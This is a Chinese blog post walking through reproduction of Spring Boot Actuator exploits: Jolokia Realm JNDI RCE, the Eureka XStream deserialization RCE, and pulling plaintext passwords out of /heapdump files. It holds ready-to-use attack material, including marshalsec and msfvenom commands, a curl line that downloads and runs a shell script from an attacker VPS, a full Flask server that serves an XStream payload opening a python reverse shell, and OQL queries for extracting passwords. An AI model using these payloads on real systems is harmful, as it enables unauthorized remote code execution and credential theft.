Spring Boot漏洞复现

一、jolokia Realm JNDI RCE

(1).利用条件:

目标网站存在 /jolokia 或 /actuator/jolokia 接口

目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

目标可以请求攻击者的服务器(请求可出外网)

普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

(2).攻击步骤

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

python3 -m http.server 8080开启一个http服务,用来托管 class 文件

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java

javac -source 1.5 -target 1.5 JNDIObject.java

启动恶意 rmi 服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

nc -lvp 进行监听成功后,使用脚本发送恶意payload

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py  注意修改脚本中的目标地址、RMI地址信息。

(二)Jolokia Realm JNDI JDK高版本情况下利用

当marshalsec 接收到了目标请求,但是目标没有请求 JNDIObject.class,就得考虑是否是对方jdk版本过高

https://github.com/welk1n/JNDI-Injection-Exploit

msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py

msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"

python -m SimpleHTTPServer 8080

启动 JNDI-Injection-Exploit:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:8080/shell.py -o /tmp/.shell.py" -A "vps"

选用Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath恶意类

修改springboot-realm-jndi-rce.py中的rmi地址:rmi://192.168.111.76:1099/efe039

http收到请求后受害机器响应,将执行的命令修改为"bash /tmp/.shell.py" 获取到shell,同样需要修改rmi地址

eureka xstream deserialization RCE(此方法会修改属性警慎使用)

(1).利用条件:

可以 POST 请求目标网站的 /env 接口设置属性

可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)

目标可以请求攻击者的 HTTP 服务器(请求可出外网)

(2).攻击步骤

http://192.168.237.212:8090/env 查看是否存在组件com.netflix查看目标是否使用Spring Cloud Netflix

架设响应恶意 XStream payload 的网站,修改ip和端口地址nc-lvp进行监听

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

 

设置 eureka.client.serviceUrl.defaultZone 属性,访问env

eureka.client.serviceUrl.defaultZone=http://192.168.237.131/example

访问访问http://192.168.237.212:8090/refresh刷新配置

 

 三、heapdump获取明文信息

当下载/heapdump是403的时候, /heapdump.json可以下载成功

 Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php

打开工具file->open heap dump选择下载下来的文件,点击 OQL 标签,在查询框中输入,选择红色感叹号执行SQL语句

(1)spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值

  select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

(2)spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中,本文测试的是springboot 2.x版本,配合env信息进行搜索

  select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

 

参考文章:

https://github.com/LandGrey/SpringBootVulExploit

https://landgrey.me/blog/16/

posted @ 2021-03-28 17:33  aoaoaoao  阅读(3047)  评论(0编辑  收藏  举报